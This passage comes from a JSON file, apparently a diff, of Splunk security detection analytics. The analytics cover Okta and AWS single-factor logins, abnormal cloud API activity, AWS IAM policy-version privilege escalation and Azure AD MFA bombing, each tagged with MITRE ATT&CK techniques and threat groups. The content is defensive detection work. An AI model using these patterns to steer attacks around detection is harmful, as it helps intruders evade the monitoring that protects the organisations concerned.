"Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Successful Single Factor Authentication", - "description": "The following analytic identifies successful single-factor authentication events against the Okta Dashboard for accounts without Multi-Factor Authentication (MFA) enabled. It detects this activity by analyzing Okta logs for successful authentication events where \"Okta Verify\" is not used. This behavior is significant as it may indicate a misconfiguration, policy violation, or potential account takeover. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches or further exploitation within the environment.", - "search": "`okta` action=success src_user_type = User eventType = user.authentication.verify OR eventType = user.authentication.auth_via_mfa| stats dc(eventType) values(eventType) as eventType values(target{}.displayName) as targets values(debugContext.debugData.url) min(_time) as firstTime max(_time) as lastTime values(authentication_method) by src_ip user action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search targets !=\"Okta Verify\" | `okta_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] has successfully logged in to Okta Dashboard with single factor authentication from IP Address - [$src_ip$].", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Threat Detected", - "description": "The following analytic identifies threats detected by Okta ThreatInsight, such as password spraying, login failures, and high counts of unknown user login attempts. It leverages Okta Identity Management logs, specifically focusing on security.threat.detected events. This activity is significant for a SOC as it highlights potential unauthorized access attempts and credential-based attacks. If confirmed malicious, these activities could lead to unauthorized access, data breaches, and further exploitation of compromised accounts, posing a significant risk to the organization's security posture.", - "search": "`okta` eventType = security.threat.detected | rename client.geographicalContext.country as country, client.geographicalContext.state as state, client.geographicalContext.city as city | stats count min(_time) as firstTime max(_time) as lastTime by app src_ip signature eventType displayMessage client.device city state country user_agent outcome.reason outcome.result severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_threat_detected_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "app", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "The following $src_ip$ has been identified as a threat by Okta ThreatInsight. Investigate further to determine if this was authorized.", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Infrastructure API Calls", - "description": "The following analytic detects a spike in the number of API calls made to your cloud infrastructure by a user. It leverages cloud infrastructure logs and compares the current API call volume against a baseline probability density function to identify anomalies. This activity is significant because an unusual increase in API calls can indicate potential misuse or compromise of cloud resources. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or disruption of cloud services, posing a significant risk to the organization's cloud environment.", - "search": "| tstats count as api_calls values(All_Changes.command) as command from datamodel=Change where All_Changes.user!=unknown All_Changes.status=success by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join user HourOfDay isWeekend [ summary cloud_excessive_api_calls_v1] | where cardinality >=16 | apply cloud_excessive_api_calls_v1 threshold=0.005 | rename \"IsOutlier(api_calls)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | where api_calls > expected_upper_threshold | eval distance_from_threshold = api_calls - expected_upper_threshold | table _time, user, command, api_calls, expected_upper_threshold, distance_from_threshold | `abnormally_high_number_of_cloud_infrastructure_api_calls_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account", - "Suspicious Cloud User Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "user $user$ has made $api_calls$ api calls, violating the dynamic threshold of $expected_upper_threshold$ with the following command $command$.", - "risk_score": 15, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Instances Destroyed", - "description": "The following analytic identifies an abnormally high number of cloud instances being destroyed within a 4-hour period. It leverages cloud infrastructure logs and applies a probability density model to detect outliers. This activity is significant for a SOC because a sudden spike in destroyed instances could indicate malicious activity, such as an insider threat or a compromised account attempting to disrupt services. If confirmed malicious, this could lead to significant operational disruptions, data loss, and potential financial impact due to the destruction of critical cloud resources.", - "search": "| tstats count as instances_destroyed values(All_Changes.object_id) as object_id from datamodel=Change where All_Changes.action=deleted AND All_Changes.status=success AND All_Changes.object_category=instance by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join HourOfDay isWeekend [summary cloud_excessive_instances_destroyed_v1] | where cardinality >=16 | apply cloud_excessive_instances_destroyed_v1 threshold=0.005 | rename \"IsOutlier(instances_destroyed)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | eval distance_from_threshold = instances_destroyed - expected_upper_threshold | table _time, user, instances_destroyed, expected_upper_threshold, distance_from_threshold, object_id | `abnormally_high_number_of_cloud_instances_destroyed_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Instance Activities" - ], - "asset_type": "Cloud Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Instances Launched", - "description": "The following analytic detects an abnormally high number of cloud instances launched within a 4-hour period. It leverages cloud infrastructure logs and applies a probability density model to identify outliers based on historical data. This activity is significant for a SOC because a sudden spike in instance creation could indicate unauthorized access or misuse of cloud resources. If confirmed malicious, this behavior could lead to resource exhaustion, increased costs, or provide attackers with additional compute resources to further their objectives.", - "search": "| tstats count as instances_launched values(All_Changes.object_id) as object_id from datamodel=Change where (All_Changes.action=created) AND All_Changes.status=success AND All_Changes.object_category=instance by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join HourOfDay isWeekend [summary cloud_excessive_instances_created_v1] | where cardinality >=16 | apply cloud_excessive_instances_created_v1 threshold=0.005 | rename \"IsOutlier(instances_launched)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | eval distance_from_threshold = instances_launched - expected_upper_threshold | table _time, user, instances_launched, expected_upper_threshold, distance_from_threshold, object_id | `abnormally_high_number_of_cloud_instances_launched_filter`", - "tags": { - "analytic_story": [ - "Cloud Cryptomining", - "Suspicious Cloud Instance Activities" - ], - "asset_type": "Cloud Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "cloud", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Abnormally High Number Of Cloud Security Group API Calls", - "description": "The following analytic detects a spike in the number of API calls made to cloud security groups by a user. It leverages data from the Change data model, focusing on successful firewall-related changes. This activity is significant because an abnormal increase in security group API calls can indicate potential malicious activity, such as unauthorized access or configuration changes. If confirmed malicious, this could allow an attacker to manipulate security group settings, potentially exposing sensitive resources or disrupting network security controls.", - "search": "| tstats count as security_group_api_calls values(All_Changes.command) as command from datamodel=Change where All_Changes.object_category=firewall AND All_Changes.status=success by All_Changes.user _time span=1h | `drop_dm_object_name(\"All_Changes\")` | eval HourOfDay=strftime(_time, \"%H\") | eval HourOfDay=floor(HourOfDay/4)*4 | eval DayOfWeek=strftime(_time, \"%w\") | eval isWeekend=if(DayOfWeek >= 1 AND DayOfWeek <= 5, 0, 1) | join user HourOfDay isWeekend [ summary cloud_excessive_security_group_api_calls_v1] | where cardinality >=16 | apply cloud_excessive_security_group_api_calls_v1 threshold=0.005 | rename \"IsOutlier(security_group_api_calls)\" as isOutlier | where isOutlier=1 | eval expected_upper_threshold = mvindex(split(mvindex(BoundaryRanges, -1), \":\"), 0) | where security_group_api_calls > expected_upper_threshold | eval distance_from_threshold = security_group_api_calls - expected_upper_threshold | table _time, user, command, security_group_api_calls, expected_upper_threshold, distance_from_threshold | `abnormally_high_number_of_cloud_security_group_api_calls_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud User Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "user $user$ has made $api_calls$ api calls related to security groups, violating the dynamic threshold of $expected_upper_threshold$ with the following command $command$.", - "risk_score": 15, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS Create Policy Version to allow all resources", - "description": "The following analytic identifies the creation of a new AWS IAM policy version that allows access to all resources. It detects this activity by analyzing AWS CloudTrail logs for the CreatePolicyVersion event with a policy document that grants broad permissions. This behavior is significant because it violates the principle of least privilege, potentially exposing the environment to misuse or abuse. If confirmed malicious, an attacker could gain extensive access to AWS resources, leading to unauthorized actions, data exfiltration, or further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=CreatePolicyVersion eventSource = iam.amazonaws.com errorCode = success | spath input=requestParameters.policyDocument output=key_policy_statements path=Statement{} | mvexpand key_policy_statements | spath input=key_policy_statements output=key_policy_action_1 path=Action | where key_policy_action_1 = \"*\" | stats count min(_time) as firstTime max(_time) as lastTime values(key_policy_statements) as policy_added by eventName eventSource aws_account_id errorCode userAgent eventID awsRegion user user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`|`aws_create_policy_version_to_allow_all_resources_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ created a policy version that allows them to access any resource in their account.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS SetDefaultPolicyVersion", - "description": "The following analytic detects when a user sets a default policy version in AWS. It leverages AWS CloudTrail logs to identify the `SetDefaultPolicyVersion` event from the IAM service. This activity is significant because attackers may exploit this technique for privilege escalation, especially if previous policy versions grant more extensive permissions than the current one. If confirmed malicious, this could allow an attacker to gain elevated access to AWS resources, potentially leading to unauthorized actions and data breaches.", - "search": "`cloudtrail` eventName=SetDefaultPolicyVersion eventSource = iam.amazonaws.com | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.policyArn) as policy_arn by src requestParameters.versionId eventName eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_setdefaultpolicyversion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "From IP address $src$, user $user_arn$ has trigged an event $eventName$ for updating the the default policy version", - "risk_score": 30, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful Console Login authentication event for an AWS IAM user account without Multi-Factor Authentication (MFA) enabled. It leverages AWS CloudTrail logs to detect instances where MFA was not used during login. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the AWS environment, potentially leading to data exfiltration, resource manipulation, or further privilege escalation.", - "search": "`cloudtrail` eventName= ConsoleLogin errorCode=success \"additionalEventData.MFAUsed\"=No | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id errorCode additionalEventData.MFAUsed userAgent eventID awsRegion user_name userIdentity.arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has successfully logged into an AWS Console without Multi-Factor Authentication from $src$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts against an Azure AD tenant during the Multi-Factor Authentication (MFA) challenge, specifically flagged by error code 500121. It leverages Azure AD SignInLogs to detect these events. This activity is significant as it may indicate an adversary attempting to authenticate using compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing effort to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=500121 | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, status.additionalDetails, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within an Azure AD tenant. It leverages Azure AD Sign-in Logs, specifically error code 500121, to detect more than 10 failed MFA attempts within 10 minutes. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication prompts. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise user accounts and potentially escalate their privileges within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs operationName=\"Sign-in activity\" properties.status.errorCode=500121 properties.status.additionalDetails!=\"MFA denied; user declined the authentication\" | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime by user, status.additionalDetails, appDisplayName, user_agent | where count > 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", 